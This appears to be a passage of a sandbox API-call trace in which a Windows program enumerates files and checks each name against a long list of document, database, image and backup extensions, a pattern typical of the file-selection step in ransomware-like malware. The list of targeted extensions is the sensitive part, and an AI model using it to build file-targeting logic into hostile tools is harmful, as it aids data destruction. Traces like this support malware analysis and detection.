	[0179.187] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1
	[0179.187] lstrlenW (lpString=".bmp") returned 4
	[0179.187] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1
	[0179.187] lstrlenW (lpString=".bz2") returned 4
	[0179.187] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1
	[0179.187] lstrlenW (lpString=".c") returned 2
	[0179.187] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1
	[0179.187] lstrlenW (lpString=".cdr") returned 4
	[0179.187] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1
	[0179.187] lstrlenW (lpString=".cer") returned 4
	[0179.187] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1
	[0179.187] lstrlenW (lpString=".cf") returned 3
	[0179.187] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1
	[0179.187] lstrlenW (lpString=".cfc") returned 4
	[0179.187] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1
	[0179.188] lstrlenW (lpString=".cfm") returned 4
	[0179.188] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1
	[0179.188] lstrlenW (lpString=".cfml") returned 5
	[0179.188] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1
	[0179.188] lstrlenW (lpString=".cfu") returned 4
	[0179.188] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1
	[0179.188] lstrlenW (lpString=".chm") returned 4
	[0179.188] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1
	[0179.188] lstrlenW (lpString=".cin") returned 4
	[0179.188] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1
	[0179.188] lstrlenW (lpString=".class") returned 6
	[0179.188] lstrcmpiW (lpString1=".class", lpString2="x.html") returned -1
	[0179.188] lstrlenW (lpString=".clx") returned 4
	[0179.188] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1
	[0179.188] lstrlenW (lpString=".config") returned 7
	[0179.188] lstrcmpiW (lpString1=".config", lpString2="ex.html") returned -1
	[0179.188] lstrlenW (lpString=".cpp") returned 4
	[0179.188] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1
	[0179.188] lstrlenW (lpString=".cr2") returned 4
	[0179.188] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1
	[0179.188] lstrlenW (lpString=".crt") returned 4
	[0179.188] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1
	[0179.188] lstrlenW (lpString=".crw") returned 4
	[0179.188] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1
	[0179.188] lstrlenW (lpString=".cs") returned 3
	[0179.188] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1
	[0179.188] lstrlenW (lpString=".css") returned 4
	[0179.188] lstrcmpiW (lpString1=".css", lpString2="html") returned -1
	[0179.188] lstrlenW (lpString=".csv") returned 4
	[0179.188] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1
	[0179.189] lstrlenW (lpString=".cub") returned 4
	[0179.189] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1
	[0179.189] lstrlenW (lpString=".dae") returned 4
	[0179.189] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1
	[0179.189] lstrlenW (lpString=".dat") returned 4
	[0179.189] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1
	[0179.189] lstrlenW (lpString=".db") returned 3
	[0179.189] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1
	[0179.189] lstrlenW (lpString=".dbf") returned 4
	[0179.189] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1
	[0179.189] lstrlenW (lpString=".dbx") returned 4
	[0179.189] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1
	[0179.189] lstrlenW (lpString=".dc3") returned 4
	[0179.189] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1
	[0179.189] lstrlenW (lpString=".dcm") returned 4
	[0179.189] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1
	[0179.189] lstrlenW (lpString=".dcr") returned 4
	[0179.189] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1
	[0179.189] lstrlenW (lpString=".der") returned 4
	[0179.189] lstrcmpiW (lpString1=".der", lpString2="html") returned -1
	[0179.189] lstrlenW (lpString=".dib") returned 4
	[0179.189] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1
	[0179.189] lstrlenW (lpString=".dic") returned 4
	[0179.189] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1
	[0179.189] lstrlenW (lpString=".dif") returned 4
	[0179.189] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1
	[0179.189] lstrlenW (lpString=".divx") returned 5
	[0179.189] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1
	[0179.189] lstrlenW (lpString=".djvu") returned 5
	[0179.189] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1
	[0179.189] lstrlenW (lpString=".dng") returned 4
	[0179.190] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1
	[0179.190] lstrlenW (lpString=".doc") returned 4
	[0179.190] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1
	[0179.190] lstrlenW (lpString=".docm") returned 5
	[0179.190] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1
	[0179.190] lstrlenW (lpString=".docx") returned 5
	[0179.190] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1
	[0179.190] lstrlenW (lpString=".dot") returned 4
	[0179.190] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1
	[0179.190] lstrlenW (lpString=".dotm") returned 5
	[0179.190] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1
	[0179.190] lstrlenW (lpString=".dotx") returned 5
	[0179.190] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1
	[0179.190] lstrlenW (lpString=".dpx") returned 4
	[0179.190] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1
	[0179.190] lstrlenW (lpString=".dqy") returned 4
	[0179.190] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1
	[0179.190] lstrlenW (lpString=".dsn") returned 4
	[0179.190] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1
	[0179.190] lstrlenW (lpString=".dt") returned 3
	[0179.190] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1
	[0179.190] lstrlenW (lpString=".dtd") returned 4
	[0179.190] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1
	[0179.190] lstrlenW (lpString=".dwg") returned 4
	[0179.190] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1
	[0179.190] lstrlenW (lpString=".dwt") returned 4
	[0179.190] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1
	[0179.190] lstrlenW (lpString=".dx") returned 3
	[0179.190] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1
	[0179.191] lstrlenW (lpString=".dxf") returned 4
	[0179.191] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1
	[0179.191] lstrlenW (lpString=".edml") returned 5
	[0179.191] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1
	[0179.191] lstrlenW (lpString=".efd") returned 4
	[0179.191] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1
	[0179.191] lstrlenW (lpString=".elf") returned 4
	[0179.191] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1
	[0179.191] lstrlenW (lpString=".emf") returned 4
	[0179.191] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1
	[0179.191] lstrlenW (lpString=".emz") returned 4
	[0179.191] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1
	[0179.191] lstrlenW (lpString=".epf") returned 4
	[0179.191] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1
	[0179.191] lstrlenW (lpString=".eps") returned 4
	[0179.191] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1
	[0179.191] lstrlenW (lpString=".epsf") returned 5
	[0179.191] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1
	[0179.191] lstrlenW (lpString=".epsp") returned 5
	[0179.191] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1
	[0179.191] lstrlenW (lpString=".erf") returned 4
	[0179.191] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1
	[0179.191] lstrlenW (lpString=".exr") returned 4
	[0179.191] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1
	[0179.191] lstrlenW (lpString=".f4v") returned 4
	[0179.191] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1
	[0179.191] lstrlenW (lpString=".fido") returned 5
	[0179.191] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1
	[0179.192] lstrlenW (lpString=".flm") returned 4
	[0179.192] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1
	[0179.192] lstrlenW (lpString=".flv") returned 4
	[0179.192] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1
	[0179.192] lstrlenW (lpString=".frm") returned 4
	[0179.192] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1
	[0179.192] lstrlenW (lpString=".fxg") returned 4
	[0179.192] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1
	[0179.192] lstrlenW (lpString=".geo") returned 4
	[0179.192] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1
	[0179.192] lstrlenW (lpString=".gif") returned 4
	[0179.192] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1
	[0179.192] lstrlenW (lpString=".grs") returned 4
	[0179.192] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1
	[0179.192] lstrlenW (lpString=".gz") returned 3
	[0179.192] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1
	[0179.192] lstrlenW (lpString=".h") returned 2
	[0179.192] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1
	[0179.192] lstrlenW (lpString=".hdr") returned 4
	[0179.192] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1
	[0179.192] lstrlenW (lpString=".hpp") returned 4
	[0179.192] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1
	[0179.192] lstrlenW (lpString=".hta") returned 4
	[0179.193] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1
	[0179.193] lstrlenW (lpString=".htc") returned 4
	[0179.193] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1
	[0179.193] lstrlenW (lpString=".htm") returned 4
	[0179.193] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1
	[0179.193] lstrlenW (lpString=".html") returned 5
	[0179.193] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0
	[0179.193] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x949a9132, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x949a9132, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x221, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0179.193] lstrlenW (lpString="toastbeginupgrade.xml") returned 21
	[0179.193] lstrlenW (lpString=".1cd") returned 4
	[0179.193] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0179.193] lstrlenW (lpString=".3ds") returned 4
	[0179.193] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1
	[0179.193] lstrlenW (lpString=".3fr") returned 4
	[0179.193] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1
	[0179.193] lstrlenW (lpString=".3g2") returned 4
	[0179.193] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1
	[0179.193] lstrlenW (lpString=".3gp") returned 4
	[0179.193] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1
	[0179.193] lstrlenW (lpString=".7z") returned 3
	[0179.193] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0179.193] lstrlenW (lpString=".accda") returned 6
	[0179.193] lstrcmpiW (lpString1=".accda", lpString2="de.xml") returned -1
	[0179.193] lstrlenW (lpString=".accdb") returned 6
	[0179.193] lstrcmpiW (lpString1=".accdb", lpString2="de.xml") returned -1
	[0179.193] lstrlenW (lpString=".accdc") returned 6
	[0179.193] lstrcmpiW (lpString1=".accdc", lpString2="de.xml") returned -1
	[0179.193] lstrlenW (lpString=".accde") returned 6
	[0179.193] lstrcmpiW (lpString1=".accde", lpString2="de.xml") returned -1
	[0179.194] lstrlenW (lpString=".accdt") returned 6
	[0179.194] lstrcmpiW (lpString1=".accdt", lpString2="de.xml") returned -1
	[0179.194] lstrlenW (lpString=".accdw") returned 6
	[0179.194] lstrcmpiW (lpString1=".accdw", lpString2="de.xml") returned -1
	[0179.194] lstrlenW (lpString=".adb") returned 4
	[0179.194] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1
	[0179.194] lstrlenW (lpString=".adp") returned 4
	[0179.194] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1
	[0179.194] lstrlenW (lpString=".ai") returned 3
	[0179.194] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1
	[0179.194] lstrlenW (lpString=".ai3") returned 4
	[0179.194] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1
	[0179.194] lstrlenW (lpString=".ai4") returned 4
	[0179.194] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1
	[0179.194] lstrlenW (lpString=".ai5") returned 4
	[0179.194] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1
	[0179.194] lstrlenW (lpString=".ai6") returned 4
	[0179.194] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1
	[0179.194] lstrlenW (lpString=".ai7") returned 4
	[0179.194] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1
	[0179.194] lstrlenW (lpString=".ai8") returned 4
	[0179.194] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1
	[0179.194] lstrlenW (lpString=".anim") returned 5
	[0179.194] lstrcmpiW (lpString1=".anim", lpString2="e.xml") returned -1
	[0179.194] lstrlenW (lpString=".arw") returned 4
	[0179.194] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1
	[0179.195] lstrlenW (lpString=".as") returned 3
	[0179.195] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1
	[0179.195] lstrlenW (lpString=".asa") returned 4
	[0179.195] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1
	[0179.195] lstrlenW (lpString=".asc") returned 4
	[0179.195] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1
	[0179.195] lstrlenW (lpString=".ascx") returned 5
	[0179.195] lstrcmpiW (lpString1=".ascx", lpString2="e.xml") returned -1
	[0179.195] lstrlenW (lpString=".asm") returned 4
	[0179.195] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1
	[0179.195] lstrlenW (lpString=".asmx") returned 5
	[0179.195] lstrcmpiW (lpString1=".asmx", lpString2="e.xml") returned -1
	[0179.195] lstrlenW (lpString=".asp") returned 4
	[0179.195] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1
	[0179.195] lstrlenW (lpString=".aspx") returned 5
	[0179.195] lstrcmpiW (lpString1=".aspx", lpString2="e.xml") returned -1
	[0179.195] lstrlenW (lpString=".asr") returned 4
	[0179.195] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1
	[0179.365] lstrlenW (lpString=".asx") returned 4
	[0179.365] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1
	[0179.365] lstrlenW (lpString=".avi") returned 4
	[0179.365] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1
	[0179.365] lstrlenW (lpString=".avs") returned 4
	[0179.365] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1
	[0179.365] lstrlenW (lpString=".backup") returned 7
	[0179.365] lstrcmpiW (lpString1=".backup", lpString2="ade.xml") returned -1
	[0179.365] lstrlenW (lpString=".bak") returned 4
	[0179.365] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1
	[0179.365] lstrlenW (lpString=".bay") returned 4
	[0179.366] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1
	[0179.366] lstrlenW (lpString=".bd") returned 3
	[0179.366] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1
	[0179.366] lstrlenW (lpString=".bin") returned 4
	[0179.366] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1
	[0179.366] lstrlenW (lpString=".bmp") returned 4
	[0179.366] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1
	[0179.366] lstrlenW (lpString=".bz2") returned 4
	[0179.366] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0179.366] lstrlenW (lpString=".c") returned 2
	[0179.366] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1
	[0179.366] lstrlenW (lpString=".cdr") returned 4
	[0179.366] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1
	[0179.366] lstrlenW (lpString=".cer") returned 4
	[0179.366] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1
	[0179.366] lstrlenW (lpString=".cf") returned 3
	[0179.366] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1
	[0179.366] lstrlenW (lpString=".cfc") returned 4
	[0179.366] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1
	[0179.366] lstrlenW (lpString=".cfm") returned 4
	[0179.366] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1
	[0179.366] lstrlenW (lpString=".cfml") returned 5
	[0179.366] lstrcmpiW (lpString1=".cfml", lpString2="e.xml") returned -1
	[0179.366] lstrlenW (lpString=".cfu") returned 4
	[0179.366] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1
	[0179.366] lstrlenW (lpString=".chm") returned 4
	[0179.367] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1
	[0179.367] lstrlenW (lpString=".cin") returned 4
	[0179.367] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1
	[0179.367] lstrlenW (lpString=".class") returned 6
	[0179.367] lstrcmpiW (lpString1=".class", lpString2="de.xml") returned -1
	[0179.367] lstrlenW (lpString=".clx") returned 4
	[0179.367] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1
	[0179.367] lstrlenW (lpString=".config") returned 7
	[0179.367] lstrcmpiW (lpString1=".config", lpString2="ade.xml") returned -1
	[0179.367] lstrlenW (lpString=".cpp") returned 4
	[0179.367] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1
	[0179.367] lstrlenW (lpString=".cr2") returned 4
	[0179.367] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1
	[0179.367] lstrlenW (lpString=".crt") returned 4
	[0179.367] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1
	[0179.367] lstrlenW (lpString=".crw") returned 4
	[0179.367] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1
	[0179.367] lstrlenW (lpString=".cs") returned 3
	[0179.367] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1
	[0179.367] lstrlenW (lpString=".css") returned 4
	[0179.367] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1
	[0179.367] lstrlenW (lpString=".csv") returned 4
	[0179.367] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1
	[0179.367] lstrlenW (lpString=".cub") returned 4
	[0179.367] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1
	[0179.368] lstrlenW (lpString=".dae") returned 4
	[0179.368] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1
	[0179.368] lstrlenW (lpString=".dat") returned 4
	[0179.368] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1
	[0179.368] lstrlenW (lpString=".db") returned 3
	[0179.368] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1
	[0179.368] lstrlenW (lpString=".dbf") returned 4
	[0179.368] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0179.368] lstrlenW (lpString=".dbx") returned 4
	[0179.368] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1
	[0179.368] lstrlenW (lpString=".dc3") returned 4
	[0179.368] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1
	[0179.368] lstrlenW (lpString=".dcm") returned 4
	[0179.368] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1
	[0179.368] lstrlenW (lpString=".dcr") returned 4
	[0179.368] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1
	[0179.368] lstrlenW (lpString=".der") returned 4
	[0179.368] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1
	[0179.368] lstrlenW (lpString=".dib") returned 4
	[0179.368] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1
	[0179.368] lstrlenW (lpString=".dic") returned 4
	[0179.368] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1
	[0179.368] lstrlenW (lpString=".dif") returned 4
	[0179.368] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1
	[0179.369] lstrlenW (lpString=".divx") returned 5
	[0179.369] lstrcmpiW (lpString1=".divx", lpString2="e.xml") returned -1
	[0179.369] lstrlenW (lpString=".djvu") returned 5
	[0179.369] lstrcmpiW (lpString1=".djvu", lpString2="e.xml") returned -1
	[0179.369] lstrlenW (lpString=".dng") returned 4
	[0179.369] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1
	[0179.369] lstrlenW (lpString=".doc") returned 4
	[0179.369] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0179.369] lstrlenW (lpString=".docm") returned 5
	[0179.369] lstrcmpiW (lpString1=".docm", lpString2="e.xml") returned -1
	[0179.369] lstrlenW (lpString=".docx") returned 5
	[0179.369] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0179.369] lstrlenW (lpString=".dot") returned 4
	[0179.369] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1
	[0179.369] lstrlenW (lpString=".dotm") returned 5
	[0179.369] lstrcmpiW (lpString1=".dotm", lpString2="e.xml") returned -1
	[0179.369] lstrlenW (lpString=".dotx") returned 5
	[0179.369] lstrcmpiW (lpString1=".dotx", lpString2="e.xml") returned -1
	[0179.369] lstrlenW (lpString=".dpx") returned 4
	[0179.369] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1
	[0179.369] lstrlenW (lpString=".dqy") returned 4
	[0179.369] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1
	[0179.369] lstrlenW (lpString=".dsn") returned 4
	[0179.369] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1
	[0179.369] lstrlenW (lpString=".dt") returned 3
	[0179.369] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1
	[0179.370] lstrlenW (lpString=".dtd") returned 4
	[0179.370] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1
	[0179.370] lstrlenW (lpString=".dwg") returned 4
	[0179.370] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1
	[0179.370] lstrlenW (lpString=".dwt") returned 4
	[0179.370] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1
	[0179.370] lstrlenW (lpString=".dx") returned 3
	[0179.370] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1
	[0179.370] lstrlenW (lpString=".dxf") returned 4
	[0179.370] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1
	[0179.370] lstrlenW (lpString=".edml") returned 5
	[0179.370] lstrcmpiW (lpString1=".edml", lpString2="e.xml") returned -1
	[0179.370] lstrlenW (lpString=".efd") returned 4
	[0179.370] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1
	[0179.370] lstrlenW (lpString=".elf") returned 4
	[0179.370] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1
	[0179.370] lstrlenW (lpString=".emf") returned 4
	[0179.370] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1
	[0179.370] lstrlenW (lpString=".emz") returned 4
	[0179.370] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1
	[0179.370] lstrlenW (lpString=".epf") returned 4
	[0179.370] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1
	[0179.370] lstrlenW (lpString=".eps") returned 4
	[0179.371] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1
	[0179.371] lstrlenW (lpString=".epsf") returned 5
	[0179.371] lstrcmpiW (lpString1=".epsf", lpString2="e.xml") returned -1
	[0179.371] lstrlenW (lpString=".epsp") returned 5
	[0179.371] lstrcmpiW (lpString1=".epsp", lpString2="e.xml") returned -1
	[0179.371] lstrlenW (lpString=".erf") returned 4
	[0179.371] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1
	[0179.371] lstrlenW (lpString=".exr") returned 4
	[0179.371] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1
	[0179.371] lstrlenW (lpString=".f4v") returned 4
	[0179.371] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1
	[0179.371] lstrlenW (lpString=".fido") returned 5
	[0179.371] lstrcmpiW (lpString1=".fido", lpString2="e.xml") returned -1
	[0179.371] lstrlenW (lpString=".flm") returned 4
	[0179.371] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1
	[0179.371] lstrlenW (lpString=".flv") returned 4
	[0179.371] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1
	[0179.371] lstrlenW (lpString=".frm") returned 4
	[0179.371] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1
	[0179.372] lstrlenW (lpString=".fxg") returned 4
	[0179.372] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1
	[0179.372] lstrlenW (lpString=".geo") returned 4
	[0179.372] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1
	[0179.372] lstrlenW (lpString=".gif") returned 4
	[0179.372] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1
	[0179.372] lstrlenW (lpString=".grs") returned 4
	[0179.372] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1
	[0179.372] lstrlenW (lpString=".gz") returned 3
	[0179.372] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1
	[0179.372] lstrlenW (lpString=".h") returned 2
	[0179.372] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1
	[0179.372] lstrlenW (lpString=".hdr") returned 4
	[0179.372] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1
	[0179.372] lstrlenW (lpString=".hpp") returned 4
	[0179.372] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1
	[0179.372] lstrlenW (lpString=".hta") returned 4
	[0179.372] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1
	[0179.372] lstrlenW (lpString=".htc") returned 4
	[0179.372] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1
	[0179.372] lstrlenW (lpString=".htm") returned 4
	[0179.372] lstrcmpiW (lpString1=".htm", lpString2=".xml") returned -1
	[0179.372] lstrlenW (lpString=".html") returned 5
	[0179.372] lstrcmpiW (lpString1=".html", lpString2="e.xml") returned -1
	[0179.372] lstrlenW (lpString=".icb") returned 4
	[0179.373] lstrcmpiW (lpString1=".icb", lpString2=".xml") returned -1
	[0179.373] lstrlenW (lpString=".ics") returned 4
	[0179.373] lstrcmpiW (lpString1=".ics", lpString2=".xml") returned -1
	[0179.373] lstrlenW (lpString=".iff") returned 4
	[0179.373] lstrcmpiW (lpString1=".iff", lpString2=".xml") returned -1
	[0179.373] lstrlenW (lpString=".inc") returned 4
	[0179.373] lstrcmpiW (lpString1=".inc", lpString2=".xml") returned -1
	[0179.373] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x949a9132, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x949a9132, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6fc8b500, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x171, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0179.374] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94c57ba9, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94c57ba9, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0179.374] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94c57ba9, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94c57ba9, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
